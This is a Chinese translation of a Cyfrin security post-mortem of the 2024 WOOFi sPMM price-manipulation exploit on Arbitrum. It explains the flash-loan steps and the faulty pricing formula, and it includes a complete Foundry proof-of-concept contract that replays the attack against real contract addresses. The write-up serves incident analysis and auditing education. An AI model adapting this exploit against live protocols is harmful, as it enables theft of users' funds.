2024年3月5日,WOOFi的合成主动市场制造(sPMM)算法在Arbitrum网络上遭受攻击,损失达到860万美元。攻击者通过一系列闪电贷操控低流动性条件,导致WOO价格异常低下,从而获利。本文详细分析了攻击的背景、步骤及其导致的漏洞。
在2024年3月5日,WOOFi的合成主动市场制造(sPMM)算法被在Arbitrum上利用,导致损失金额达860万美元。详细情况如下。
在2024年3月5日,WOOFi的合成主动市场制造(sPMM)算法被在Arbitrum上利用,导致损失金额达860万美元。
此次利用涉及了一系列闪电贷。闪电贷是一种借贷方式,其中资金在单笔交易中以原子方式借入并偿还。这些贷款被用来利用低流动性来人为控制WOO的价格。这种操控允许攻击者以较低的成本偿还闪电贷,从中获利。
去中心化货币价格源自链上流动性储备,受供需动态的影响。
当流动性较低时,大额交易就更容易显著影响价格。通过执行一系列闪电贷,攻击者向下操纵了WOO的价格,使他们能够以更低的价格重新购买,并偿还闪电贷,从而获得利润。
WOOFi团队的事后分析概述了攻击者采取的以下步骤:
1. 借入USDC和WOO:攻击者使用Uniswap闪电贷借入约1060万USDC,然后借入了WOO代币的总池储备,使用了Trader Joe闪电贷。 
UniSwap闪电贷金额:  10590749131947
USDCTJ闪电贷金额:  270455801473726118787783 2. 存入USDC并借入WOO:攻击者存入700万USDC到Silo,并利用这笔资金借入更多WOO代币,使总借款达到约770万WOO代币。
3. 交换代币:攻击者在WOOFi上执行了一系列4次连续的交换:
交换前的预言机价格(小数 = 8):
    USDC:  100000000
    WOO:  56608180
    WETH:  381661997086
攻击者的余额:
    USDC余额: 3590749 USDC
    WOO余额: 7797221 WOO
    WETH余额: 0 WETHa) USDC -> WETH: 增加USDC储备。
交换后USDC -> WETH的预言机价格(小数 = 8):
    USDC:  100000000
    WOO:  56608180
    WETH:  383188263412
攻击者的余额:
    USDC余额: 1590749 USDC
    WOO余额: 7797221 WOO
    WETH余额: 522 WETHb) USDC -> WOO: 增加USDC储备。
交换后USDC -> WOO的预言机价格(小数 = 8):
    USDC:  100000000
    WOO:  57853248
    WETH:  383188263412
攻击者的余额:
    USDC余额: 1490749 USDC
    WOO余额: 7970905 WOO
    WETH余额: 522 WETHc) WOO -> USDC: 操控了WOO价格。
交换后WOO -> USDC的预言机价格(小数 = 8):
    USDC: 100000000
    WOO: 383188263412
    WETH: 9
攻击者的余额:
    USDC余额: 3737641 USDC
    WOO余额: 114037 WOO
    WETH余额: 522 WETH 此攻击的前提是攻击者能够以大额基数交换WOO为USDC,以确保价格足够小。因此,需要足够的USDC储备来防止出现下溢并导致交易回退。由于前两次交换后USDC储备的增长是充足的,因此攻击者得以将大量WOO兑换为USDC。根据WooPPV2::_calcQuoteAmountSellBase中的特征价格计算,价格可以操控至极端值:
newPrice =
    ((uint256(1e18) - (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec) *
        state.price) /
    1e18; baseAmount被指定为使上述计算的分子接近1e18,这意味着newPrice返回的值几乎为零(9)。以8位小数精度,这会产生价格为$0.00000009。
d) USDC -> WOO: 以最低价格回购WOO。
交换后USDC -> WOO的预言机价格(小数 = 8):
    USDC: 100000000
    WOO: 383188263412
    WETH: 9
攻击者交换后余额:
    USDC余额: 3737640 USDC
    WOO余额: 10346945 WOO
    WETH余额: 522 WETH这操控了WOOFi的价格预言机。WOOFi的sPMM算法错误地将WOO的价格调整为$0.00000009。利用sPMM造成的极端价格调整,攻击者在同一交易中以最低成本交换了约1000万WOO代币。
-- 欲了解更多信息,请参阅 关于价格预言机操控的指南 。
4. 偿还贷款:在偿还贷款之后,攻击者将多余的USDC交换成WETH,然后将其559 WETH和额外的230万WOO代币发送到另一个地址,此后WOO被交换为WETH。
5. 重复攻击:攻击者重复此攻击三次,结果约 收益875万美元,在归还贷款后。
当调用WooPPV2::swap时,会分别为交换1、2和4调用_sellQuote(),而交换3则调用_sellBase()。
_sellBase()调用_calcQuoteAmountSellBase()以获取接收的代币数量和被交换代币的新价格。在这里,价格计算将价格调整到极端值:
function _calcQuoteAmountSellBase(
    address baseToken,
    uint256 baseAmount,
    IWooracleV2.State memory state
) private view returns (uint256 quoteAmount, uint256 newPrice) {
    require(state.woFeasible, "WooPPV2: !ORACLE_FEASIBLE");
    DecimalInfo memory decs = decimalInfo(baseToken);
    // quoteAmount = baseAmount * oracle.price * (1 - oracle.k * baseAmount * oracle.price - oracle.spread)
    {
        uint256 coef = uint256(1e18) -
            ((uint256(state.coeff) * baseAmount * state.price) / decs.baseDec / decs.priceDec) -
            state.spread;
        quoteAmount = (((baseAmount * decs.quoteDec * state.price) / decs.priceDec) * coef) / 1e18 / decs.baseDec;
    }
    // newPrice = oracle.price * (1 - 2 * k * oracle.price * baseAmount)
    newPrice =
        ((uint256(1e18) - (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec) *
            state.price) /
        1e18;
} 凭借近似值,可以解释为什么会发生这种情况。查看newPrice计算的以下部分:
(uint256(1e18) - (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec)δ定义为(uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec),这个计算变为1 - δδ ~ 0,因此可以认为该计算近似为1 - δ ≈ 1δ接近1,那么可以近似地将δ ~ 1,如此一来计算可近似为1 - δ ≈ 0,这意味着价格计算将非常接近于零,但仍不为零以避免下溢。以下代码由Foundry编写,旨在证明此次攻击,并重现上述步骤:
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {IERC20} from 'forge-std/interfaces/IERC20.sol';
import '../src/interfaces/ITraderJoe.sol';
import '../src/interfaces/ISilo.sol';
import '../src/interfaces/IUniSwapV3Pool.sol';
import '../src/interfaces/IWooPPV2.sol';
import '../src/interfaces/IWETH.sol';
import '../src/interfaces/IWooOracleV2.sol';
contract WOOFiAttacker is Test {
    address constant USDC = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
    address constant WETH = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
    address constant WOO = 0xcAFcD85D8ca7Ad1e1C6F82F651fA15E33AEfD07b;
    ITraderJoe constant TRADERJOE = ITraderJoe(0xB87495219C432fc85161e4283DfF131692A528BD);
    ISilo constant SILO = ISilo(0x5C2B80214c1961dB06f69DD4128BcfFc6423d44F);
    IWooPPV2 constant WOOPPV2 = IWooPPV2(0xeFF23B4bE1091b53205E35f3AfCD9C7182bf3062);
    IWooOracleV2 constant WOOORACLEV2 = IWooOracleV2(0x73504eaCB100c7576146618DC306c97454CB3620);
    IUniswapV3Pool constant POOL = IUniswapV3Pool(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);
    uint256 constant MAX_UINT = type(uint256).max;
    uint256 uniSwapFlashAmount;
    uint256 traderJoeFlashAmount;
    enum Action {
        NORMAL,
        REENTRANT
    }
    function setUp() public {
        bytes32 txHash = 0x57e555328b7def90e1fc2a0f7aa6df8d601a8f15803800a5aaf0a20382f21fbd;
        vm.createSelectFork("arb", txHash);
    }
    function testAttack() public {
        // 记录攻击前的状态
        console.log("攻击者攻击前的余额:");
        console.log("USDC:", IERC20(USDC).balanceOf(address(this)) / 1e6, "USDC");
        console.log("WOO:", IERC20(WOO).balanceOf(address(this)) / 1e18, "WOO");
        console.log("WETH:", IERC20(WETH).balanceOf(address(this)) / 1e18, "WETH");
        uint256 ethBalanceBefore = address(this).balance;
        console.log("ETH:", ethBalanceBefore / 1e18, "ETH \n");
        // 启动攻击
        initFlash();
        // 记录攻击后的状态
        console.log("攻击者攻击后的余额:");
        console.log("USDC:", IERC20(USDC).balanceOf(address(this)) / 1e6, "USDC");
        console.log("WOO:", IERC20(WOO).balanceOf(address(this)) / 1e18, "WOO");
        console.log("WETH:", IERC20(WETH).balanceOf(address(this)) / 1e18, "WETH");
        uint256 ethBalanceAfter = address(this).balance;
        console.log("ETH(收益):", (ethBalanceAfter - ethBalanceBefore) / 1e18, "ETH \n");
    }
    /// @notice 使用在`uniswapV3FlashCallback`中需要的数据调用池的闪电贷函数
    function initFlash() public {
        // 初始化代币的批准
        IERC20(WOO).approve(address(WOOPPV2), MAX_UINT);
        IERC20(WOO).approve(address(SILO), MAX_UINT);
        IERC20(USDC).approve(address(SILO), MAX_UINT);
        IERC20(USDC).approve(address(WOOPPV2), MAX_UINT);
        // 获取UniSwap池的USDC余额
        uniSwapFlashAmount = IERC20(USDC).balanceOf(address(POOL));
        console.log("UniSwap闪电贷金额: ", uniSwapFlashAmount / 1e6, "USDC \n");
        // 闪电贷USDC - 调用uniswapV3FlashCallback
        POOL.flash(
            address(this),
            0,
            uniSwapFlashAmount,
            abi.encode(uint256(1))
        );
        // 将多余的USDC转换为WETH
        int256 swapAmount = int256(IERC20(USDC).balanceOf(address(this)));
        POOL.swap(address(this), false, swapAmount, 5148059652436460709226212, new bytes(0));
        // 通过回退函数将多余的WETH提取到该合约中
        uint256 excessWETHBalance = IERC20(WETH).balanceOf(address(this));
        IWETH(WETH).withdraw(excessWETHBalance);
        // uint256 excessWOOBalance = IERC20(WOO).balanceOf(address(this));
        // IERC20(WOO).transfer({some_other_address}, excessWOOBalance); // 只有在需要发送至攻击者EOA时才需要进行此操作
    }
    function uniswapV3FlashCallback(
        uint256 fee0,
        uint256 fee1,
        bytes calldata data
    ) external {
        // 闪电贷WOO
        // 获取总池金额
        traderJoeFlashAmount = IERC20(WOO).balanceOf(address(TRADERJOE));
        console.log("TJ闪电贷金额: ", traderJoeFlashAmount / 1e18, "WOO \n");
        bytes32 hashTraderJoeAmount = bytes32(traderJoeFlashAmount);
        // 启动闪电贷 - 调用LBFlashLoanCallback
        TRADERJOE.flashLoan(ILBFlashLoanCallback(address(this)), hashTraderJoeAmount, new bytes(0));
        // 偿还Uniswap闪电贷
        IERC20(USDC).transfer(msg.sender, uniSwapFlashAmount + fee1);
    }
    function uniswapV3SwapCallback(int256 amount0, int256 amount1, bytes calldata data) external {
        IERC20(USDC).transfer(address(POOL), uint256(amount1));
    }
    function LBFlashLoanCallback(
        address sender,
        IERC20 tokenX,
        IERC20 tokenY,
        bytes32 amounts,
        bytes32 totalFees,
        bytes calldata data
    ) external returns (bytes32) {
        // 存入USDC并借入Silo中的全部WOO流动性
        SILO.deposit(USDC, 7000000000000, true);
        uint256 amount = SILO.liquidity(WOO);
        SILO.borrow(WOO, amount);
        // 4次连续交换:
        // 1. USDC -> WETH
        IERC20(USDC).transfer(address(WOOPPV2), 2000000000000);
        WOOPPV2.swap(USDC, WETH, 2000000000000, 0, address(this), address(this));
        // 2. USDC -> WOO
        IERC20(USDC).transfer(address(WOOPPV2), 100000000000);
        WOOPPV2.swap(USDC, WOO, 100000000000, 0, address(this), address(this));
        // 3. WOO -> USDC
        IERC20(WOO).transfer(address(WOOPPV2), 7856868800000000000000000);
        WOOPPV2.swap(WOO, USDC, 7856868800000000000000000, 0, address(this), address(this));
        // 4. USDC -> WOO // 收获奖励
        IERC20(USDC).transfer(address(WOOPPV2), 926342);
        WOOPPV2.swap(USDC, WOO, 926342, 0, address(this), address(this));
        // 偿还Silo中的WOO贷款并提取USDC
        SILO.repay(WOO, MAX_UINT);
        SILO.withdraw(USDC, MAX_UINT, true);
        // 偿还Trader Joe闪电贷
        IERC20(WOO).transfer(msg.sender, uint256(amounts) + uint256(totalFees));
        // TJ闪电贷需要返回以下数据
        bytes32 returnData = keccak256("LBPair.onFlashLoan");
        return returnData;
    }
    receive() external payable {}
    /* ----- 辅助函数 ----- */
    function _getPrice(address asset) internal view returns (uint256) {
        (uint256 priceNow, bool feasible) = WOOORACLEV2.price(asset);
        return priceNow;
    }
    function _getTokenInfo(address token) internal view returns (uint192) {
        IWooPPV2.TokenInfo memory tokenInfo = WOOPPV2.tokenInfos(token);
        return tokenInfo.reserve;
    }
}_-- 包含接口的完整代码可在GitHub上查看。_
WOO的价格被操控到极端值,接近于零,通过一大笔代币交换获得的多笔贷款来实现。由于WOO的Chainlink预言机未被设置,因此回退逻辑未被触发,极端价格被接受为有效。这导致攻击者从协议中窃取了约850万美元。
对你的协议进行审计可以显著降低此类攻击发生的概率。
- 原文链接: cyfrin.io/blog/hack-anal...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
 
                如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!